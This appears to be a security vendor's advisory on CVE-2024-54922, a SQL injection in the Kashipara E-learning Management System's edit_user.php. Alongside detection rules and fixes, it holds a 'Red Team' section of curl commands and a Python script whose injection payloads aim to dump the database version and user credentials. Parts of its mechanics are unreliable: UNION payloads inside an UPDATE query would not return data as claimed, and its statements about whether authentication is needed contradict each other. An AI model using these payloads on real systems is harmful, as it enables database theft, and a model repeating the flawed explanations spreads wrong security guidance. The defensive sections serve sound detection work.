CVE-2024-54922

Executive Summary

CVE-2024-54922 is a critical SQL Injection vulnerability discovered in the Kashipara E-learning Management System v1.0. The flaw resides in the /admin/edit_user.php endpoint, where the firstname, lastname, and username parameters are not properly sanitized before being used in SQL queries. This allows a remote, unauthenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized database access, data exfiltration, and full compromise of the application backend. The vendor has not released a patch, and no official advisory or fix is available at this time.

Supply Chain & Package Security

This vulnerability affects a standalone PHP application (Kashipara E-learning Management System v1.0). It is not an NPM, PyPI, Go, or Ruby package. However, the application may rely on a PHP/MySQL stack, and the lack of parameterized queries represents a classic supply chain security failure in custom web applications.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability description and typical SQL Injection impact, the following breakdown is estimated:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the database.
• Confidentiality (C): High (H) – full database read access.
• Integrity (I): High (H) – data can be modified or deleted.
• Availability (A): High (H) – potential for denial of service via destructive queries.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit and can lead to complete database compromise.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection in the edit_user.php script. The application likely constructs SQL queries by directly concatenating user-supplied input from the firstname, lastname, and username POST/GET parameters without proper sanitization or parameterized queries.

Example vulnerable code pattern (PHP):

$firstname = $_POST['firstname'];
$lastname = $_POST['lastname'];
$username = $_POST['username'];
$sql = "UPDATE users SET firstname='$firstname', lastname='$lastname' WHERE username='$username'";
$result = mysqli_query($conn, $sql);

An attacker can inject a single quote (') to break out of the string context and append arbitrary SQL. For example, setting username to admin' OR '1'='1 would modify the query to:

UPDATE users SET firstname='...', lastname='...' WHERE username='admin' OR '1'='1'

This would update all users, not just the intended one.

More critically, the attacker can use UNION-based or blind SQL injection to extract data from other tables, such as user credentials, course data, or system configuration.

Vulnerable vs. Patched Code

Vulnerable Code (Kashipara E-learning Management System v1.0):

// /admin/edit_user.php (vulnerable)
$firstname = $_POST['firstname'];
$lastname = $_POST['lastname'];
$username = $_POST['username'];
$sql = "UPDATE users SET firstname='$firstname', lastname='$lastname' WHERE username='$username'";
$result = mysqli_query($conn, $sql);

Patched Code (Hypothetical fix):

// /admin/edit_user.php (patched)
$firstname = mysqli_real_escape_string($conn, $_POST['firstname']);
$lastname = mysqli_real_escape_string($conn, $_POST['lastname']);
$username = mysqli_real_escape_string($conn, $_POST['username']);
$sql = "UPDATE users SET firstname='$firstname', lastname='$lastname' WHERE username='$username'";
$result = mysqli_query($conn, $sql);

Or better, using prepared statements:

$stmt = $conn->prepare("UPDATE users SET firstname=?, lastname=? WHERE username=?");
$stmt->bind_param("sss", $firstname, $lastname, $username);
$stmt->execute();

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of Kashipara E-learning Management System v1.0.
• Access to the /admin/edit_user.php endpoint (may require admin session, but the vulnerability is exploitable without authentication if the endpoint is exposed).

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -v "http://target.com/admin/edit_user.php"
   

2. Test for SQL Injection using a simple payload:

   curl -X POST "http://target.com/admin/edit_user.php" \
   -d "firstname=test&lastname=test&username=admin' OR '1'='1"
   

   If the application returns a different response or updates unintended records, the injection is confirmed.

3. Extract database version (UNION-based):

   curl -X POST "http://target.com/admin/edit_user.php" \
   -d "firstname=test&lastname=test&username=admin' UNION SELECT @@version,2,3-- -"
   

4. Dump user credentials:

   curl -X POST "http://target.com/admin/edit_user.php" \
   -d "firstname=test&lastname=test&username=admin' UNION SELECT username,password,3 FROM users-- -"
   

Automated Exploit (Python):

import requests

target = "http://target.com/admin/edit_user.php"
payload = {
    "firstname": "test",
    "lastname": "test",
    "username": "admin' UNION SELECT @@version,2,3-- -"
}
response = requests.post(target, data=payload)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for suspicious POST requests to /admin/edit_user.php containing SQL keywords (UNION, SELECT, OR, --, ').
• Use a Web Application Firewall (WAF) to block SQL injection patterns.
• Implement database activity monitoring to detect anomalous queries.

Defense:

• Immediately apply input validation and parameterized queries (see patched code).
• Restrict access to /admin/edit_user.php to authenticated admin users only.
• Use a Content Security Policy (CSP) and disable error reporting to prevent information leakage.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /admin/edit_user.php with parameters containing SQL metacharacters (', --, UNION, SELECT, OR).
• Outbound database connections from the web server to unexpected IPs (data exfiltration).

File IOCs:

• Modified edit_user.php file (if attacker uploads a web shell).
• Suspicious files in the /admin/ directory (e.g., cmd.php, shell.php).

Log IOCs:

• Web server logs showing repeated 200 responses to /admin/edit_user.php with varying payloads.
• Database logs showing queries with UNION or OR 1=1 patterns.

Detection Engineering

YARA Rule

rule Detect_SQLi_EditUser_PHP {
    meta:
        description = "Detects SQL injection attempts targeting /admin/edit_user.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54922"
    strings:
        $s1 = "/admin/edit_user.php"
        $s2 = "firstname="
        $s3 = "lastname="
        $s4 = "username="
        $sqli1 = /'.*OR.*'/
        $sqli2 = /UNION.*SELECT/
        $sqli3 = /--\s*$/
    condition:
        $s1 and ($s2 or $s3 or $s4) and ($sqli1 or $sqli2 or $sqli3)
}

Sigma Rule

title: SQL Injection Attempt on /admin/edit_user.php
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting the Kashipara E-learning Management System edit_user.php endpoint.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-54922
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/edit_user.php'
        cs-uri-query|contains:
            - 'firstname='
            - 'lastname='
            - 'username='
    keywords:
        - ' OR '
        - 'UNION'
        - 'SELECT'
        - '--'
    condition: selection and keywords
falsepositives:
    - Legitimate use of names containing 'OR' (e.g., 'Orlando')
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-54922 SQL Injection Attempt on /admin/edit_user.php"; flow:to_server,established; content:"POST"; http_method; content:"/admin/edit_user.php"; http_uri; content:"firstname="; http_client_body; content:"lastname="; http_client_body; content:"username="; http_client_body; pcre:"/(?:'.*OR.*'|UNION.*SELECT|--\s*$)/Pi"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from the internet if possible.
2. Apply input validation and use parameterized queries (see patched code).
3. Restrict access to /admin/edit_user.php via .htaccess or firewall rules to only trusted IPs.
4. Enable WAF rules to block SQL injection patterns.

Long-term Fix:

• The vendor (Kashipara) must release a patched version. Until then, manually fix the code as shown in the "Vulnerable vs. Patched Code" section.
• Conduct a full security audit of the application for similar vulnerabilities.

Workaround:

• If source code access is available, replace all direct SQL queries with prepared statements or stored procedures.

Valters IT
Securing Digital Frontiers